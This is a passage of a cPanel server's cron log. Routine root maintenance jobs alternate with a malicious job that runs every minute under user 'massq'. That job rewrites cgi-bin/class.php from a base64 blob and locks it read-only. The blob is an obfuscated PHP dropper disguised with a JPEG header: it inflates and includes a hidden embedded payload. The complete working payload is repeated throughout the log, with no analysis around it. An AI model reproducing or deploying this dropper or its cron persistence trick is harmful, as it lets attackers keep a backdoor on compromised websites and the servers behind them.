QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:42:01 server CROND[16006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:42:01 server CROND[16007]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 17:42:01 server CROND[16008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:42:01 server CROND[16009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:43:01 server CROND[16382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:43:01 server CROND[16383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:43:01 server CROND[16384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:44:01 server CROND[16854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:44:01 server CROND[16855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:44:01 server CROND[16856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:45:01 server CROND[17241]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:45:01 server CROND[17242]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 17:45:01 server CROND[17246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:45:01 server CROND[17247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:45:01 server CROND[17245]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:45:01 server CROND[17249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:45:01 server CROND[17248]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 17:46:01 server CROND[18074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:46:01 server CROND[18075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:46:01 server CROND[18076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:47:01 server CROND[18447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:47:01 server CROND[18448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:47:01 server CROND[18449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:48:01 server CROND[18823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:48:01 server CROND[18824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:48:01 server CROND[18825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:49:01 server CROND[19292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:49:01 server CROND[19291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:49:01 server CROND[19293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:50:01 server CROND[19672]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 17:50:01 server CROND[19675]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:50:01 server CROND[19678]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:50:01 server CROND[19679]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 17:50:01 server CROND[19680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:50:01 server CROND[19682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:50:01 server CROND[19681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:50:01 server CROND[19683]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 17:50:01 server CROND[19677]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 17:51:01 server CROND[20579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:51:01 server CROND[20580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:51:01 server CROND[20581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:52:01 server CROND[20955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:52:01 server CROND[20956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:52:01 server CROND[20957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:53:01 server CROND[21323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:53:01 server CROND[21324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:53:01 server CROND[21325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:54:01 server CROND[21802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
